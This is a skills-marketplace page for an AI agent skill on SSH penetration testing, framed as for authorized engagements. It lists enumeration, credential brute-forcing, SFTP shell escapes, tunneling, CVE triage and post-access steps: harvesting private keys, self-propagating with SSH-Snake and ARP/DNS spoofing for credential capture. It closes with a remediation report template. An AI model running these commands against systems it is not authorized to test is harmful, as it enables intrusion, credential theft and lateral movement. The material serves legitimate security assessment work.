Skip to main content Home Creators xalgord xalgorix pentesting-ssh
pentesting-ssh Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements.
Jump to install Skills Marketplace Discover and explore AI skills built by the community.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Show prompt details A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-sshThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Download Zip Downloading... More from this repository Related occupations SOC
Based on SOC occupation classification
name pentesting-ssh description Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements. domain cybersecurity subdomain network-services-pentesting tags ["penetration-testing","network-services","ssh"] version 1.0 author xalgorix license Apache-2.0
Pentesting SSH (port 22)
When to Use
Default port 22/tcp; management/embedded services may expose SSH/Erlang-OTP on 2022, 830, 2222.
When nmap/banner shows ssh, OpenSSH, Dropbear, libssh, wolfSSH, or an SSH-2.0-* banner.
For auditing crypto posture, authentication configuration, key trust, and known daemon vulnerabilities.
Quick Enumeration
nc -vn <IP> 22
ssh-keyscan -t rsa,ecdsa,ed25519 <IP> -p 22
nmap -p22 <IP> -sV
nmap -p22 <IP> -sC
nmap -p22 <IP> --script ssh2-enum-algos
nmap -p22 <IP> --script ssh-hostkey --script-args ssh_hostkey=full
nmap -p22 <IP> --script ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
Critical: Checks Most Often Missed
Auth-method downgrade — strong methods enabled without disabling password. Verbose mode reveals weaker methods still offered.
Default / known credentials — vendor defaults are common on appliances (see table). Also try SecLists ssh-betterdefaultpasslist.txt.
How to CONFIRM: hydra -l <user> -P creds.txt -t 4 ssh://<IP>.
Weak / leaked host & user keys — Debian weak-PRNG keys (g0tmi1k/debian-ssh) and rapid7 ssh-badkeys can be bruteforced/accepted.
How to CONFIRM: nmap --script ssh-publickey-acceptance or msf> use scanner/ssh/ssh_identify_pubkeys. SFTP shell escape — users confined to SFTP with /usr/bin/nologin can still get command execution by requesting a command at connect time.
How to CONFIRM: ssh user@<IP> id or ssh user@<IP> /bin/bash returns output despite "no shell".
High-impact CVEs to triage from the banner:
regreSSHion CVE-2024-6387 (OpenSSH 8.5p1–9.7p1) — pre-auth RCE via SIGALRM race when LoginGraceTime is non-zero.XZ backdoor CVE-2024-3094 (liblzma 5.6.0/5.6.1) — sshd RSA_public_decrypt hook; verify what's installed, do not trust banner alone.Erlang/OTP SSH CVE-2025-32433 — pre-auth RCE; any message code ≥ 80 accepted before auth (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20).libssh CVE-2018-10933 — server accepts client-sent SSH_MSG_USERAUTH_SUCCESS.
How to CONFIRM the XZ backdoor (avoid banner false negatives) xz --version
rpm -qi xz 2>/dev/null ; dpkg -l xz-utils 2>/dev/null
sha256sum /usr/lib*/liblzma.so*
ldd /usr/sbin/sshd | grep -E "systemd|lzma"
Workflow
Step 1: Enumerate (version, algorithms, auth methods) ssh-keyscan -t rsa,ecdsa,ed25519 <IP>
nmap -p22 <IP> --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set RPORT 22; run; exit'
Step 2: Authenticate (default creds, keys, brute force)
hydra -v -V -l <Username> -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt -t 1 <IP> ssh
nxc ssh <IP> -u users.txt -p passwords.txt
nmap --script ssh-publickey-acceptance -p22 <IP>
msfconsole -q -x 'use scanner/ssh/ssh_identify_pubkeys; set RHOSTS <IP>; run; exit'
python3 ssh-keybrute.py -H <IP> -p 22 -u root -d ./keys/
sudo ntpdate <dc.fqdn>
kinit <user> ; klist
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Step 3: Exploit / Extract (escape, tunnel, CVE)
ssh user@<IP> /bin/bash
sftp> symlink / froot
sudo ssh -L <lport>:<remote_host>:<remote_port> -N -f <user>@<IP>
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET} " ::: {1..4000}
Step 4: Post-access / pivot
Harvest ~/.ssh/id_*, authorized_keys, known_hosts, and .bash_history for lateral movement.
Use SSH-Snake to recursively self-propagate across hosts using discovered private keys.
For MitM credential capture on the LAN, combine ARP/DNS spoofing with SSH-MITM .
Key Concepts Concept Description Algorithm audit Identify weak/legacy KEX, host-key, cipher, and MAC algorithms with ssh-audit/ssh2-enum-algos. Auth-method downgrade password left enabled alongside publickey; forced via PreferredAuthentications=password.Vendor defaults Appliances ship known user:pass pairs (Cisco, Dell, HP, Huawei, etc.). Weak PRNG keys Debian OpenSSL bug produced a tiny, brute-forceable keyspace (debian-ssh sets). SFTP escape Requesting a command at login bypasses nologin/forced-command restrictions. State-machine flaws Connection-layer messages (code ≥ 80) handled pre-auth → unauth RCE (Erlang/OTP, libssh). GSSAPI/Kerberos auth TGT-based login when the server exposes a host SPN.
Tools & Systems Tool Purpose nmap NSE ssh2-enum-algos, ssh-hostkey, ssh-auth-methods, ssh-publickey-acceptance.ssh-audit Server/client config audit; algorithm + CVE reporting (jtesta fork). ssh-keyscan / openssl Host key fingerprinting and banner grabbing. hydra / netexec (nxc) Credential brute force and spraying. Metasploit scanner/ssh/ssh_version, ssh_enumusers, ssh_identify_pubkeys, juniper_backdoor.SSH-Snake / SSH-MITM Key-based self-propagation; MitM credential capture. ssh-keybrute.py Lightweight python key brute-forcer with legacy algorithm support.
Common Scenarios
Scenario 1: Password auth left enabled → brute force ssh -v <IP> shows password is still offered behind publickey. Forcing PreferredAuthentications=password and running hydra with the SecLists default list yields a valid login.
Scenario 2: SFTP-only user escapes to a shell A backup user is configured with ForceCommand internal-sftp but the password/keyboard-interactive method still spawns a shell. ssh backup@<IP> /bin/bash returns an interactive root-group shell.
Scenario 3: Vulnerable OpenSSH banner Banner reveals OpenSSH 9.2p1 with non-zero LoginGraceTime. The host is flagged for regreSSHion (CVE-2024-6387); the tester documents exposure and recommends upgrade rather than weaponizing in production.
Output Format ## SSH Finding
**Service**: SSH
**Port**: 22/tcp (OpenSSH 8.2p1 Ubuntu)
**Severity**: High
**Finding**: Password authentication enabled with weak credentials
**Evidence**:
- ssh -v <IP>: "Authentications that can continue: publickey,password"
- hydra ssh://<IP>: login "deploy:Summer2024" valid
**Impact**: Remote attacker can brute-force interactive access as the deploy user, enabling lateral movement and key theft.
**Recommendation**:
1. Disable password auth (`PasswordAuthentication no`) and use key-based auth only.
2. Disable root login (`PermitRootLogin no`).
3. Enforce ssh-audit hardening guidance (remove weak KEX/cipher/MAC).
4. Patch the daemon and restrict exposure of management ports.
